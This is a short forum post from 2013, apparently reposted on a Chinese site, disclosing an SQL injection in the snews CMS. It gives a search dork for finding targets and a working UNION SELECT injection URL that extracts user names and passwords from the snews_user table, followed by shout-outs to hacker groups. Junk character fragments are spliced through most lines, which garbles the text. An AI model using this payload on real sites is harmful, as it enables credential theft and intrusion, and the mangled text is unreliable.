标题: CMS snews SQL Injection Vulnerability5 J) U5 a1 y) L$ w! _4 S& w
作者: By onestree4 D7 W* X! P7 r) Y9 S7 A9 o
下载地址 : http://snewscms.com/0 |% l* F! E3 j" h
测试平台 : ubuntu 12.10 / win 7
2 A$ C" Q# h- `: W$ H关键词: inurl:"tanyakan pada rumput yang bergoyang", N( W# @5 d/ F
: I* N: x# f- j+ @$ m$ w' A
, L! o' T6 }8 V, B- v*************************************************************
# r8 m+ P4 d3 i ~' D A 9 g1 T# T/ a. z U
SQL poc:
+ J8 h5 ?, O9 w, f
$ N7 N& q; Q3 N! r8 Whttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]1 f; j. Z j* P! v: j
: e) o+ b5 y8 L6 x示例; ^: h& g1 x3 g/ \ {3 w+ M" A. h
+ d6 U- U5 H2 v8 w, p2 {& Z
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*& K% Z8 \$ C+ ~8 ~) A
5 ^. R0 d5 }" f8 l2 S5 E) \. J
# n# M/ M% V# O3 [: i
致谢:/ Z8 _2 x; `: r M* ~+ p
; ~+ t0 }; u, \6 _, [
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell2 b w0 h' x3 x9 v- n a" ^3 f& p
! ~- X5 N" l0 I2 w0 Q3 U
indonesiancoder - moeslimh4x0r - go-coder
6 F& Y: J0 o0 ^; b+ p: T& T8 m
1 m1 z& [* G* z4 h8 Pspesial my hunny :*
% G- |' e8 _. w" D% b9 z8 C |
发表于 2013-1-23 08:55:06
收藏
支持
反对